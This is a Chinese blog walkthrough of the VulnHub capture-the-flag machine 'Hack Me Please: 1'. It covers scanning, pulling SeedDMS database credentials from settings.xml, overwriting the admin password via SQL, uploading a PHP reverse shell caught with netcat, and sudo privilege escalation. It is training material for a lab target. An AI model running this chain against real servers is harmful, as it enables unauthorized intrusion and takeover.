看完这篇教你玩转渗透测试靶机vulnhub——Hack Me Please: 1

落寞的魚丶

已于 2023-02-12 00:18:58 修改

阅读量1.7k

点赞数 9

分类专栏： # Vulnhub靶场文章标签：测试工具 vulnhub靶机 sudo提权 seeddms CMS

于 2023-02-12 00:04:44 首次发布

本文链接：https://blog.csdn.net/Aluxian_/article/details/128984094

版权

Vulnhub靶场专栏收录该内容

66 篇文章 101 订阅

订阅专栏

Vulnhub靶机Hack Me Please: 1渗透测试详解

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是一个Web的漏洞靶机，老样子需要找到flag即可。

Vulnhub靶机下载：

官方网站：https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar

Vulnhub靶机安装：

下载好了把安装包解压然后试用VMware即可。
在这里插入图片描述

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用netdiscover发现主机

在这里插入图片描述
渗透机：kali IP ：192.168.0.106 靶机IP ：192.168.0.102

使用命令：nmap -sS -sV -A -n 192.168.0.102

在这里插入图片描述
可以看到开放了80和3306端口先使用dirb扫一下好像没有可以用的信息继续使用dirbuster 我们可以看到有css和js目录，里面应该还有东西没有扫描出来，我们换一个字典（默认的第五个）

在这里插入图片描述

可以看到js里面好像有重要文件main.js我们访问看到应该是seeddms的CMS建的网站。

在这里插入图片描述

②：漏洞利用

我们现在知道了CMS使用kali本地漏洞库看一下，以看到最后一个47022.txt前面写的是远程代码执行漏洞

在这里插入图片描述
①：要登录网站 ②：要添加一个document把木马放进去③：要看我们改的document的id号
④：接上它的链接加木马去访问利用我们才扫描过没发现登录地址，但是在main.js里面看到了路径，我们扫描那个路径看看

在这里插入图片描述
在使用dirb扫到了settings.xml得到了数据库账号和密码：seeddms/seeddms 然后进行登入登入成功！！

在这里插入图片描述

use seeddms;
show tables;
select * from users; #查询表
select * from tblUser;
select login,pwd from  tblUsers；##查看表内容
update tblUsers set pwd=md5('123456') where login='admin'; #数据库修改密码

在这里插入图片描述

这里需要MD5解码但是我这边解出来。
在这里插入图片描述

③：获取反弹shell：

登入成功以后发现有上传点上传一个shell.php然后添加成功后看id号，然后我们要找上传后的绝对路径在下载的seeddms框架中找到了其数据存放的目录为1048576因此对靶机该目录进行扫描使用dirsearch -u http://192.168.0.102/seeddms51x/data/1048576 -e *

PS:如果是4那么就访问/seeddms51x/data/1048576/4/shell.php 就能弹nc 这个序号是根据你上传了多少增加的，如果上传了两次就是5 可以用工具扫出来这里我直接告诉大家了不然到时候可能会卡住我这边就是卡了好久才回弹的shell（麻烦给个三联）

在这里插入图片描述

/usr/share/webshells/php/php-reverse-shell.php #kali自带shell
nc -lvp 1234 #和shell.php一样的端口

在这里插入图片描述

④：sudo提权：

先查看有哪些用户，发现了一个在mysql中见到的用户，切换saket用户
开启交换终端：python3 -c 'import pty;pty.spawn("/bin/bash")' 直接sudo -l sudo su 提权成功!

在这里插入图片描述

至此获取到了flag，渗透测试结束。

Vulnhub靶机渗透总结：

①.这里的知识点是知道seeddmsCMS上传后的路径：seeddms51x/data/1048576 找不i到的话就访问不了就不能nc反弹shell
②.还有就是一些基本的渗透测试扫描工具的使用：dirb，dirbuster，dirsearch
③.数据库的基本命令使用会改密码还有sudo 提权

希望对热爱打靶机的小伙伴有帮助！最后创作不易希望对大家有所帮助喜欢的话麻烦大家给个一键三连你的开心就是我最大的快乐！！

落寞的魚丶

关注

9
点赞
踩
11

收藏

觉得还不错? 一键收藏
打赏
10
评论
看完这篇教你玩转渗透测试靶机vulnhub——Hack Me Please: 1

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。这是一个Web的漏洞靶机，老样子需要找到flag即可。①.这里的知识点是知道seeddmsCMS找不i到的话就访问不了就不能nc反弹shell③.数据库的基本命令使用会改密码还有sudo提权希望对热爱打靶机的小伙伴有帮助！最后创作不易希望对大家有所帮助喜欢的话麻烦大家给个一键三连你的开心就是我最大的快乐！！
复制链接

扫一扫